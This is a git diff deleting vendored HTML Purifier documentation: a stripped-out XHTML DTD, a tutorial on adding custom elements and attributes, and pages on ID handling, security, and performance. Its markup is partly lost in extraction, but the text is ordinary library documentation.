    - - - - diff --git a/vendor/htmlpurifier/docs/dtd/xhtml1-transitional.dtd b/vendor/htmlpurifier/docs/dtd/xhtml1-transitional.dtd deleted file mode 100644 index 628f27ac5..000000000 --- a/vendor/htmlpurifier/docs/dtd/xhtml1-transitional.dtd +++ /dev/null @@ -1,1201 +0,0 @@ - - - - - -%HTMLlat1; - - -%HTMLsymbol; - - -%HTMLspecial; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/vendor/htmlpurifier/docs/enduser-customize.html b/vendor/htmlpurifier/docs/enduser-customize.html deleted file mode 100644 index 7e1ffa260..000000000 --- a/vendor/htmlpurifier/docs/enduser-customize.html +++ /dev/null @@ -1,850 +0,0 @@ - - - - - - - -Customize - HTML Purifier - - - -

    Customize!

    -
    HTML Purifier is a Swiss-Army Knife
    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - HTML Purifier has this quirk where if you try to allow certain elements or - attributes, HTML Purifier will tell you that it's not supported, and that - you should go to the forums to find out how to implement it. Well, this - document is how to implement elements and attributes which HTML Purifier - doesn't support out of the box. -

    - -

    Is it necessary?

    - -

    - Before we even write any code, it is paramount to consider whether or - not the code we're writing is necessary or not. HTML Purifier, by default, - contains a large set of elements and attributes: large enough so that - any element or attribute in XHTML 1.0 or 1.1 (and its HTML variants) - that can be safely used by the general public is implemented. -

    - -

    - So what needs to be implemented? (Feel free to skip this section if - you know what you want). -

    - -

    XHTML 1.0

    - -

    - All of the modules listed below are based off of the - modularization of - XHTML, which, while technically for XHTML 1.1, is quite a useful - resource. -

    - -
      -
    • Structure
    • -
    • Frames
    • -
    • Applets (deprecated)
    • -
    • Forms
    • -
    • Image maps
    • -
    • Objects
    • -
    • Frames
    • -
    • Events
    • -
    • Meta-information
    • -
    • Style sheets
    • -
    • Link (not hypertext)
    • -
    • Base
    • -
    • Name
    • -
    - -

    - If you don't recognize it, you probably don't need it. But the curious - can look all of these modules up in the above-mentioned document. Note - that inline scripting comes packaged with HTML Purifier (more on this - later). -

    - -

    XHTML 1.1

    - -

    - As of HTMLPurifier 2.1.0, we have implemented the - Ruby module, - which defines a set of tags - for publishing short annotations for text, used mostly in Japanese - and Chinese school texts, but applicable for positioning any text (not - limited to translations) above or below other corresponding text. -

    - -

    HTML 5

    - -

    - HTML 5 - is a fork of HTML 4.01 by WHATWG, who believed that XHTML 2.0 was headed - in the wrong direction. It too is a working draft, and may change - drastically before publication, but it should be noted that the - canvas tag has been implemented by many browser vendors. -

    - -

    Proprietary

    - -

    - There are a number of proprietary tags still in the wild. Many of them - have been documented in ref-proprietary-tags.txt, - but there is currently no implementation for any of them. -

    - -

    Extensions

    - -

    - There are also a number of other XML languages out there that can - be embedded in HTML documents: two of the most popular are MathML and - SVG, and I frequently get requests to implement these. But they are - expansive, comprehensive specifications, and it would take far too long - to implement them correctly (most systems I've seen go as far - as whitelisting tags and no further; come on, what about nesting!) -

    - -

    - Word of warning: HTML Purifier is currently not namespace - aware. -

    - -

    Giving back

    - -

    - As you may imagine from the details above (don't be abashed if you didn't - read it all: a glance over would have done), there's quite a bit that - HTML Purifier doesn't implement. Recent architectural changes have - allowed HTML Purifier to implement elements and attributes that are not - safe! Don't worry, they won't be activated unless you set %HTML.Trusted - to true, but they certainly help out users who need to put, say, forms - on their page and don't want to go through the trouble of reading this - and implementing it themself. -

    - -

    - So any of the above that you implement for your own application could - help out some other poor sap on the other side of the globe. Help us - out, and send back code so that it can be hammered into a module and - released with the core. Any code would be greatly appreciated! -

    - -

    And now...

    - -

    - Enough philosophical talk, time for some code: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -if ($def = $config->maybeGetRawHTMLDefinition()) {
    -    // our code will go here
    -}
    - -

    - Assuming that HTML Purifier has already been properly loaded (hint: - include HTMLPurifier.auto.php), this code will set up - the environment that you need to start customizing the HTML definition. - What's going on? -

    - -
      -
    • - The first three lines are regular configuration code: -
        -
      • - %HTML.DefinitionID is set to a unique identifier for your - custom HTML definition. This prevents it from clobbering - other custom definitions on the same installation. -
      • -
      • - %HTML.DefinitionRev is a revision integer of your HTML - definition. Because HTML definitions are cached, you'll need - to increment this whenever you make a change in order to flush - the cache. -
      • -
      -
    • -
    • - The fourth line retrieves a raw HTMLPurifier_HTMLDefinition - object that we will be tweaking. Interestingly enough, we have - placed it in an if block: this is because - maybeGetRawHTMLDefinition, as its name suggests, may - return a NULL, in which case we should skip doing any - initialization. This, in fact, will correspond to when our fully - customized object is already in the cache. -
    • -
    - -

    Turn off caching

    - -

    - To make development easier, we're going to temporarily turn off - definition caching: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // TODO: remove this later!
    -$def = $config->getHTMLDefinition(true);
    - -

    - A few things should be mentioned about the caching mechanism before - we move on. For performance reasons, HTML Purifier caches generated - HTMLPurifier_Definition objects in serialized files - stored (by default) in library/HTMLPurifier/DefinitionCache/Serializer. - A lot of processing is done in order to create these objects, so it - makes little sense to repeat the same processing over and over again - whenever HTML Purifier is called. -

    - -

    - In order to identify a cache entry, HTML Purifier uses three variables: - the library's version number, the value of %HTML.DefinitionRev and - a serial of relevant configuration. Whenever any of these changes, - a new HTML definition is generated. Notice that there is no way - for the definition object to track changes to customizations: here, it - is up to you to supply appropriate information to DefinitionID and - DefinitionRev. -

    - -

    Add an attribute

    - -

    - For this example, we're going to implement the target attribute found - on a elements. To implement an attribute, we have to - ask a few questions: -

    - -
      -
    1. What element is it found on?
    2. -
    3. What is its name?
    4. -
    5. Is it required or optional?
    6. -
    7. What are valid values for it?
    8. -
    - -

    - The first three are easy: the element is a, the attribute - is target, and it is not a required attribute. (If it - was required, we'd need to append an asterisk to the attribute name, - you'll see an example of this in the addElement() example). -

    - -

    - The last question is a little trickier. - Lets allow the special values: _blank, _self, _target and _top. - The form of this is called an enumeration, a list of - valid values, although only one can be used at a time. To translate - this into code form, we write: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // remove this later!
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    - -

    - The Enum#_blank,_self,_target,_top does all the magic. - The string is split into two parts, separated by a hash mark (#): -

    - -
      -
    1. The first part is the name of what we call an AttrDef
    2. -
    3. The second part is the parameter of the above-mentioned AttrDef
    4. -
    - -

    - If that sounds vague and generic, it's because it is! HTML Purifier defines - an assortment of different attribute types one can use, and each of these - has their own specialized parameter format. Here are some of the more useful - ones: -

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    TypeFormatDescription
    Enum[s:]value1,value2,... - Attribute with a number of valid values, one of which may be used. When - s: is present, the enumeration is case sensitive. -
    Boolattribute_name - Boolean attribute, with only one valid value: the name - of the attribute. -
    CDATA - Attribute of arbitrary text. Can also be referred to as Text - (the specification makes a semantic distinction between the two). -
    ID - Attribute that specifies a unique ID -
    Pixels - Attribute that specifies an integer pixel length -
    Length - Attribute that specifies a pixel or percentage length -
    NMTOKENS - Attribute that specifies a number of name tokens, example: the - class attribute -
    URI - Attribute that specifies a URI, example: the href - attribute -
    Number - Attribute that specifies an positive integer number -
    - -

    - For a complete list, consult - library/HTMLPurifier/AttrTypes.php; - more information on attributes that accept parameters can be found on their - respective includes in - library/HTMLPurifier/AttrDef. -

    - -

    - Sometimes, the restrictive list in AttrTypes just doesn't cut it. Don't - sweat: you can also use a fully instantiated object as the value. The - equivalent, verbose form of the above example is: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // remove this later!
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
    -  array('_blank','_self','_target','_top')
    -));
    - -

    - Trust me, you'll learn to love the shorthand. -

    - -

    Add an element

    - -

    - Adding attributes is really small-fry stuff, though, and it was possible - to add them (albeit a bit more wordy) prior to 2.0. The real gem of - the Advanced API is adding elements. There are five questions to - ask when adding a new element: -

    - -
      -
    1. What is the element's name?
    2. -
    3. What content set does this element belong to?
    4. -
    5. What are the allowed children of this element?
    6. -
    7. What attributes does the element allow that are general?
    8. -
    9. What attributes does the element allow that are specific to this element?
    10. -
    - -

    - It's a mouthful, and you'll be slightly lost if your not familiar with - the HTML specification, so let's explain them step by step. -

    - -

    Content set

    - -

    - The HTML specification defines two major content sets: Inline - and Block. Each of these - content sets contain a list of elements: Inline contains things like - span and b while Block contains things like - div and blockquote. -

    - -

    - These content sets amount to a macro mechanism for HTML definition. Most - elements in HTML are organized into one of these two sets, and most - elements in HTML allow elements from one of these sets. If we had - to write each element verbatim into each other element's allowed - children, we would have ridiculously large lists; instead we use - content sets to compactify the declaration. -

    - -

    - Practically speaking, there are several useful values you can use here: -

    - - - - - - - - - - - - - - - - - - - - - - -
    Content setDescription
    InlineCharacter level elements, text
    BlockBlock-like elements, like paragraphs and lists
    false - Any element that doesn't fit into the mold, for example li - or tr -
    - -

    - By specifying a valid value here, all other elements that use that - content set will also allow your element, without you having to do - anything. If you specify false, you'll have to register - your element manually. -

    - -

    Allowed children

    - -

    - Allowed children defines the elements that this element can contain. - The allowed values may range from none to a complex regexp depending on - your element. -

    - -

    - If you've ever taken a look at the HTML DTD's before, you may have - noticed declarations like this: -

    - -
    <!ELEMENT LI - O (%flow;)*             -- list item -->
    - -

    - The (%flow;)* indicates the allowed children of the - li tag: li allows any number of flow - elements as its children. (The - O allows the closing tag to be - omitted, though in XML this is not allowed.) In HTML Purifier, - we'd write it like Flow (here's where the content sets - we were discussing earlier come into play). There are three shorthand - content models you can specify: -

    - - - - - - - - - - - - - - - - - - - - - - -
    Content modelDescription
    EmptyNo children allowed, like br or hr
    InlineAny number of inline elements and text, like span
    FlowAny number of inline elements, block elements and text, like div
    - -

    - This covers 90% of all the cases out there, but what about elements that - break the mold like ul? This guy requires at least one - child, and the only valid children for it are li. The - content model is: Required: li. There are two parts: the - first type determines what ChildDef will be used to validate - content models. The most common values are: -

    - - - - - - - - - - - - - - - - - - - - - - -
    TypeDescription
    RequiredChildren must be one or more of the valid elements
    OptionalChildren can be any number of the valid elements
    CustomChildren must follow the DTD-style regex
    - -

    - You can also implement your own ChildDef: this was done - for a few special cases in HTML Purifier such as Chameleon - (for ins and del), StrictBlockquote - and Table. -

    - -

    - The second part specifies either valid elements or a regular expression. - Valid elements are separated with horizontal bars (|), i.e. - "a | b | c". Use #PCDATA to represent plain text. - Regular expressions are based off of DTD's style: -

    - -
      -
    • Parentheses () are used for grouping
    • -
    • Commas (,) separate elements that should come one after another
    • -
    • Horizontal bars (|) indicate one or the other elements should be used
    • -
    • Plus signs (+) are used for a one or more match
    • -
    • Asterisks (*) are used for a zero or more match
    • -
    • Question marks (?) are used for a zero or one match
    • -
    - -

    - For example, "a, b?, (c | d), e+, f*" means "In this order, - one a element, at most one b element, - one c or d element (but not both), one or more - e elements, and any number of f elements." - Regex veterans should be able to jump right in, and those not so savvy - can always copy-paste W3C's content model definitions into HTML Purifier - and hope for the best. -

    - -

    - A word of warning: while the regex format is extremely flexible on - the developer's side, it is - quite unforgiving on the user's side. If the user input does not exactly - match the specification, the entire contents of the element will - be nuked. This is why there is are specific content model types like - Optional and Required: while they could be implemented as Custom: - (valid | elements)*, the custom classes contain special recovery - measures that make sure as much of the user's original content gets - through. HTML Purifier's core, as a rule, does not use Custom. -

    - -

    - One final note: you can also use Content Sets inside your valid elements - lists or regular expressions. In fact, the three shorthand content models - mentioned above are just that: abbreviations: -

    - - - - - - - - - - - - - - - - - - -
    Content modelImplementation
    InlineOptional: Inline | #PCDATA
    FlowOptional: Flow | #PCDATA
    - -

    - When the definition is compiled, Inline will be replaced with a - horizontal-bar separated list of inline elements. Also, notice that - it does not contain text: you have to specify that yourself. -

    - -

    Common attributes

    - -

    - Congratulations: you have just gotten over the proverbial hump (Allowed - children). Common attributes is much simpler, and boils down to - one question: does your element have the id, style, - class, title and lang attributes? - If so, you'll want to specify the Common attribute collection, - which contains these five attributes that are found on almost every - HTML element in the specification. -

    - -

    - There are a few more collections, but they're really edge cases: -

    - - - - - - - - - - - - - - - - - - -
    CollectionAttributes
    I18Nlang, possibly xml:lang
    Corestyle, class, id and title
    - -

    - Common is a combination of the above-mentioned collections. -

    - -

    - Readers familiar with the modularization may have noticed that the Core - attribute collection differs from that specified by the abstract - modules of the XHTML Modularization 1.1. We believe this section - to be in error, as br permits the use of the style - attribute even though it uses the Core collection, and - the DTD and XML Schemas supplied by W3C support our interpretation. -

    - -

    Attributes

    - -

    - If you didn't read the earlier section on - adding attributes, read it now. The last parameter is simply - an array of attribute names to attribute implementations, in the exact - same format as addAttribute(). -

    - -

    Putting it all together

    - -

    - We're going to implement form. Before we embark, lets - grab a reference implementation from over at the - transitional DTD: -

    - -
    <!ELEMENT FORM - - (%flow;)* -(FORM)   -- interactive form -->
    -<!ATTLIST FORM
    -  %attrs;                              -- %coreattrs, %i18n, %events --
    -  action      %URI;          #REQUIRED -- server-side form handler --
    -  method      (GET|POST)     GET       -- HTTP method used to submit the form--
    -  enctype     %ContentType;  "application/x-www-form-urlencoded"
    -  accept      %ContentTypes; #IMPLIED  -- list of MIME types for file upload --
    -  name        CDATA          #IMPLIED  -- name of form for scripting --
    -  onsubmit    %Script;       #IMPLIED  -- the form was submitted --
    -  onreset     %Script;       #IMPLIED  -- the form was reset --
    -  target      %FrameTarget;  #IMPLIED  -- render in this frame --
    -  accept-charset %Charsets;  #IMPLIED  -- list of supported charsets --
    -  >
    - -

    - Juicy! With just this, we can answer four of our five questions: -

    - -
      -
    1. What is the element's name? form
    2. -
    3. What content set does this element belong to? Block - (this needs a little sleuthing, I find the easiest way is to search - the DTD for FORM and determine which set it is in.)
    4. -
    5. What are the allowed children of this element? One - or more flow elements, but no nested forms
    6. -
    7. What attributes does the element allow that are general? Common
    8. -
    9. What attributes does the element allow that are specific to this element? A whole bunch, see ATTLIST; - we're going to do the vital ones: action, method and name
    10. -
    - -

    - Time for some code: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // remove this later!
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
    -  array('_blank','_self','_target','_top')
    -));
    -$form = $def->addElement(
    -  'form',   // name
    -  'Block',  // content set
    -  'Flow', // allowed children
    -  'Common', // attribute collection
    -  array( // attributes
    -    'action*' => 'URI',
    -    'method' => 'Enum#get|post',
    -    'name' => 'ID'
    -  )
    -);
    -$form->excludes = array('form' => true);
    - -

    - Each of the parameters corresponds to one of the questions we asked. - Notice that we added an asterisk to the end of the action - attribute to indicate that it is required. If someone specifies a - form without that attribute, the tag will be axed. - Also, the extra line at the end is a special extra declaration that - prevents forms from being nested within each other. -

    - -

    - And that's all there is to it! Implementing the rest of the form - module is left as an exercise to the user; to see more examples - check the library/HTMLPurifier/HTMLModule/ directory - in your local HTML Purifier installation. -

    - -

    And beyond...

    - -

    - Perceptive users may have realized that, to a certain extent, we - have simply re-implemented the facilities of XML Schema or the - Document Type Definition. What you are seeing here, however, is - not just an XML Schema or Document Type Definition: it is a fully - expressive method of specifying the definition of HTML that is - a portable superset of the capabilities of the two above-mentioned schema - languages. What makes HTMLDefinition so powerful is the fact that - if we don't have an implementation for a content model or an attribute - definition, you can supply it yourself by writing a PHP class. -

    - -

    - There are many facets of HTMLDefinition beyond the Advanced API I have - walked you through today. To find out more about these, you can - check out these source files: -

    - - - -

    Notes for HTML Purifier 4.2.0 and earlier

    - -

    - Previously, this tutorial gave some incorrect template code for - editing raw definitions, and that template code will now produce the - error Due to a documentation error in previous version of HTML - Purifier... Here is how to mechanically transform old-style - code into new-style code. -

    - -

    - First, identify all code that edits the raw definition object, and - put it together. Ensure none of this code must be run on every - request; if some sub-part needs to always be run, move it outside - this block. Here is an example below, with the raw definition - object code bolded. -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    -$purifier = new HTMLPurifier($config);
    - -

    - Next, replace the raw definition retrieval with a - maybeGetRawHTMLDefinition method call inside an if conditional, and - place the editing code inside that if block. -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -if ($def = $config->maybeGetRawHTMLDefinition()) {
    -    $def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    -}
    -$purifier = new HTMLPurifier($config);
    - -

    - And you're done! Alternatively, if you're OK with not ever caching - your code, the following will still work and not emit warnings. -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    -$purifier = new HTMLPurifier($config);
    - -

    - A slightly less efficient version of this was what was going on with - old versions of HTML Purifier. -

    - -

    - Technical notes: ajh pointed out on in a forum topic that - HTML Purifier appeared to be repeatedly writing to the cache even - when a cache entry already existed. Investigation lead to the - discovery of the following infelicity: caching of customized - definitions didn't actually work! The problem was that even though - a cache file would be written out at the end of the process, there - was no way for HTML Purifier to say, Actually, I've already got a - copy of your work, no need to reconfigure your - customizations. This required the API to change: placing - all of the customizations to the raw definition object in a - conditional which could be skipped. -

    - - - - diff --git a/vendor/htmlpurifier/docs/enduser-id.html b/vendor/htmlpurifier/docs/enduser-id.html deleted file mode 100644 index 53d2da248..000000000 --- a/vendor/htmlpurifier/docs/enduser-id.html +++ /dev/null @@ -1,148 +0,0 @@ - - - - - - - -IDs - HTML Purifier - - - -

    IDs

    -
    What they are, why you should(n't) wear them, and how to deal with it
    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Prior to HTML Purifier 1.2.0, this library blithely accepted user input that -looked like this:

    - -
    <a id="fragment">Anchor</a>
    - -

    ...presenting an attractive vector for those that would destroy standards -compliance: simply set the ID to one that is already used elsewhere in the -document and voila: validation breaks. There was a half-hearted attempt to -prevent this by allowing users to blacklist IDs, but I suspect that no one -really bothered, and thus, with the release of 1.2.0, IDs are now removed -by default.

    - -

    IDs, however, are quite useful functionality to have, so if users start -complaining about broken anchors you'll probably want to turn them back on -with %Attr.EnableID. But before you go mucking around with the config -object, it's probably worth to take some precautions to keep your page -validating. Why?

    - -
      -
    1. Standards-compliant pages are good
    2. -
    3. Duplicated IDs interfere with anchors. If there are two id="foobar"s in a - document, which spot does a browser presented with the fragment #foobar go - to? Most browsers opt for the first appearing ID, making it impossible - to references the second section. Similarly, duplicated IDs can hijack - client-side scripting that relies on the IDs of elements.
    4. -
    - -

    You have (currently) four ways of dealing with the problem.

    - - - -

    Blacklisting IDs

    -
    Good for pages with single content source and stable templates
    - -

    Keeping in terms with the -KISS principle, let us -deal with the most obvious solution: preventing users from using any IDs that -appear elsewhere on the document. The method is simple:

    - -
    $config->set('Attr.EnableID', true);
    -$config->set('Attr.IDBlacklist' array(
    -    'list', 'of', 'attribute', 'values', 'that', 'are', 'forbidden'
    -));
    - -

    That being said, there are some notable drawbacks. First of all, you have to -know precisely which IDs are being used by the HTML surrounding the user code. -This is easier said than done: quite often the page designer and the system -coder work separately, so the designer has to constantly be talking with the -coder whenever he decides to add a new anchor. Miss one and you open yourself -to possible standards-compliance issues.

    - -

    Furthermore, this position becomes untenable when a single web page must hold -multiple portions of user-submitted content. Since there's obviously no way -to find out before-hand what IDs users will use, the blacklist is helpless. -And since HTML Purifier validates each segment separately, perhaps doing -so at different times, it would be extremely difficult to dynamically update -the blacklist in between runs.

    - -

    Finally, simply destroying the ID is extremely un-userfriendly behavior: after -all, they might have simply specified a duplicate ID by accident.

    - -

    Thus, we get to our second method.

    - - - -

    Namespacing IDs

    -
    Lazy developer's way, but needs user education
    - -

    This method, too, is quite simple: add a prefix to all user IDs. With this -code:

    - -
    $config->set('Attr.EnableID', true);
    -$config->set('Attr.IDPrefix', 'user_');
    - -

    ...this:

    - -
    <a id="foobar">Anchor!</a>
    - -

    ...turns into:

    - -
    <a id="user_foobar">Anchor!</a>
    - -

    As long as you don't have any IDs that start with user_, collisions are -guaranteed not to happen. The drawback is obvious: if a user submits -id="foobar", they probably expect to be able to reference their page with -#foobar. You'll have to tell them, "No, that doesn't work, you have to add -user_ to the beginning."

    - -

    And yes, things get hairier. Even with a nice prefix, we still have done -nothing about multiple HTML Purifier outputs on one page. Thus, we have -a second configuration value to piggy-back off of: %Attr.IDPrefixLocal:

    - -
    $config->set('Attr.IDPrefixLocal', 'comment' . $id . '_');
    - -

    This new attributes does nothing but append on to regular IDPrefix, but is -special in that it is volatile: it's value is determined at run-time and -cannot possibly be cordoned into, say, a .ini config file. As for what to -put into the directive, is up to you, but I would recommend the ID number -the text has been assigned in the database. Whatever you pick, however, it -has to be unique and stable for the text you are validating. Note, however, -that we require that %Attr.IDPrefix be set before you use this directive.

    - -

    And also remember: the user has to know what this prefix is too!

    - - - -

    Abstinence

    - -

    You may not want to bother. That's okay too, just don't enable IDs.

    - -

    Personally, I would take this road whenever user-submitted content would be -possibly be shown together on one page. Why a blog comment would need to use -anchors is beyond me.

    - - - -

    Denial

    - -

    To revert back to pre-1.2.0 behavior, simply:

    - -
    $config->set('Attr.EnableID', true);
    - -

    Don't come crying to me when your page mysteriously stops validating, though.

    - - - - - diff --git a/vendor/htmlpurifier/docs/enduser-overview.txt b/vendor/htmlpurifier/docs/enduser-overview.txt deleted file mode 100644 index fe7f8705d..000000000 --- a/vendor/htmlpurifier/docs/enduser-overview.txt +++ /dev/null @@ -1,59 +0,0 @@ - -HTML Purifier - by Edward Z. Yang - -There are a number of ad hoc HTML filtering solutions out there on the web -(some examples including HTML_Safe, kses and SafeHtmlChecker.class.php) that -claim to filter HTML properly, preventing malicious JavaScript and layout -breaking HTML from getting through the parser. None of them, however, -demonstrates a thorough knowledge of neither the DTD that defines the HTML -nor the caveats of HTML that cannot be expressed by a DTD. Configurable -filters (such as kses or PHP's built-in striptags() function) have trouble -validating the contents of attributes and can be subject to security attacks -due to poor configuration. Other filters take the naive approach of -blacklisting known threats and tags, failing to account for the introduction -of new technologies, new tags, new attributes or quirky browser behavior. - -However, HTML Purifier takes a different approach, one that doesn't use -specification-ignorant regexes or narrow blacklists. HTML Purifier will -decompose the whole document into tokens, and rigorously process the tokens by: -removing non-whitelisted elements, transforming bad practice tags like -into , properly checking the nesting of tags and their children and -validating all attributes according to their RFCs. - -To my knowledge, there is nothing like this on the web yet. Not even MediaWiki, -which allows an amazingly diverse mix of HTML and wikitext in its documents, -gets all the nesting quirks right. Existing solutions hope that no JavaScript -will slip through, but either do not attempt to ensure that the resulting -output is valid XHTML or send the HTML through a draconic XML parser (and yet -still get the nesting wrong: SafeHtmlChecker.class.php does not prevent -tags from being nested within each other). - -This document no longer is a detailed description of how HTMLPurifier works, -as those descriptions have been moved to the appropriate code. The first -draft was drawn up after two rough code sketches and the implementation of a -forgiving lexer. You may also be interested in the unit tests located in the -tests/ folder, which provide a living document on how exactly the filter deals -with malformed input. - -In summary (see corresponding classes for more details): - -1. Parse document into an array of tag and text tokens (Lexer) -2. Remove all elements not on whitelist and transform certain other elements - into acceptable forms (i.e. ) -3. Make document well formed while helpfully taking into account certain quirks, - such as the fact that

    tags traditionally are closed by other block-level - elements. -4. Run through all nodes and check children for proper order (especially - important for tables). -5. Validate attributes according to more restrictive definitions based on the - RFCs. -6. Translate back into a string. (Generator) - -HTML Purifier is best suited for documents that require a rich array of -HTML tags. Things like blog comments are, in all likelihood, most appropriately -written in an extremely restrictive set of markup that doesn't require -all this functionality (or not written in HTML at all), although this may -be changing in the future with the addition of levels of filtering. - - vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/docs/enduser-security.txt b/vendor/htmlpurifier/docs/enduser-security.txt deleted file mode 100644 index 518f092bd..000000000 --- a/vendor/htmlpurifier/docs/enduser-security.txt +++ /dev/null @@ -1,18 +0,0 @@ - -Security - -Like anything that claims to afford security, HTML_Purifier can be circumvented -through negligence of people. This class will do its job: no more, no less, -and it's up to you to provide it the proper information and proper context -to be effective. Things to remember: - -1. Character Encoding: see enduser-utf8.html for more info. - -2. IDs: see enduser-id.html for more info - -3. URIs: see enduser-uri-filter.html - -4. CSS: document pending -Explain which CSS styles we blocked and why. - - vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/docs/enduser-slow.html b/vendor/htmlpurifier/docs/enduser-slow.html deleted file mode 100644 index f0ea02de1..000000000 --- a/vendor/htmlpurifier/docs/enduser-slow.html +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - -Speeding up HTML Purifier - HTML Purifier - - - -

    Speeding up HTML Purifier

    -
    ...also known as the HELP ME LIBRARY IS TOO SLOW MY PAGE TAKE TOO LONG page
    - -
    Filed under End-User
    -
    -
    HTML Purifier End-User Documentation
    - -

    HTML Purifier is a very powerful library. But with power comes great -responsibility, in the form of longer execution times. Remember, this -library isn't lightly grazing over submitted HTML: it's deconstructing -the whole thing, rigorously checking the parts, and then putting it back -together.

    - -

    So, if it so turns out that HTML Purifier is kinda too slow for outbound -filtering, you've got a few options:

    - -

    Inbound filtering

    - -

    Perform filtering of HTML when it's submitted by the user. Since the -user is already submitting something, an extra half a second tacked on -to the load time probably isn't going to be that huge of a problem. -Then, displaying the content is a simple a manner of outputting it -directly from your database/filesystem. The trouble with this method is -that your user loses the original text, and when doing edits, will be -handling the filtered text. While this may be a good thing, especially -if you're using a WYSIWYG editor, it can also result in data-loss if a -user makes a typo.

    - -

    Example (non-functional):

    - -
    <?php
    -    /**
    -     * FORM SUBMISSION PAGE
    -     * display_error($message) : displays nice error page with message
    -     * display_success() : displays a nice success page
    -     * display_form() : displays the HTML submission form
    -     * database_insert($html) : inserts data into database as new row
    -     */
    -    if (!empty($_POST)) {
    -        require_once '/path/to/library/HTMLPurifier.auto.php';
    -        require_once 'HTMLPurifier.func.php';
    -        $dirty_html = isset($_POST['html']) ? $_POST['html'] : false;
    -        if (!$dirty_html) {
    -            display_error('You must write some HTML!');
    -        }
    -        $html = HTMLPurifier($dirty_html);
    -        database_insert($html);
    -        display_success();
    -        // notice that $dirty_html is *not* saved
    -    } else {
    -        display_form();
    -    }
    -?>
    - -

    Caching the filtered output

    - -

    Accept the submitted text and put it unaltered into the database, but -then also generate a filtered version and stash that in the database. -Serve the filtered version to readers, and the unaltered version to -editors. If need be, you can invalidate the cache and have the cached -filtered version be regenerated on the first page view. Pros? Full data -retention. Cons? It's more complicated, and opens other editors up to -XSS if they are using a WYSIWYG editor (to fix that, they'd have to be -able to get their hands on the *really* original text served in -plaintext mode).

    - -

    Example (non-functional):

    - -
    <?php
    -    /**
    -     * VIEW PAGE
    -     * display_error($message) : displays nice error page with message
    -     * cache_get($id) : retrieves HTML from fast cache (db or file)
    -     * cache_insert($id, $html) : inserts good HTML into cache system
    -     * database_get($id) : retrieves raw HTML from database
    -     */
    -    $id = isset($_GET['id']) ? (int) $_GET['id'] : false;
    -    if (!$id) {
    -        display_error('Must specify ID.');
    -        exit;
    -    }
    -    $html = cache_get($id); // filesystem or database
    -    if ($html === false) {
    -        // cache didn't have the HTML, generate it
    -        $raw_html = database_get($id);
    -        require_once '/path/to/library/HTMLPurifier.auto.php';
    -        require_once 'HTMLPurifier.func.php';
    -        $html = HTMLPurifier($raw_html);
    -        cache_insert($id, $html);
    -    }
    -    echo $html;
    -?>
    - -

    Summary

    - -

    In short, inbound filtering is the simple option and caching is the -robust option (albeit with bigger storage requirements).

    - -

    There is a third option, independent of the two we've discussed: profile -and optimize HTMLPurifier yourself. Be sure to report back your results -if you decide to do that! Especially if you port HTML Purifier to C++. -;-)

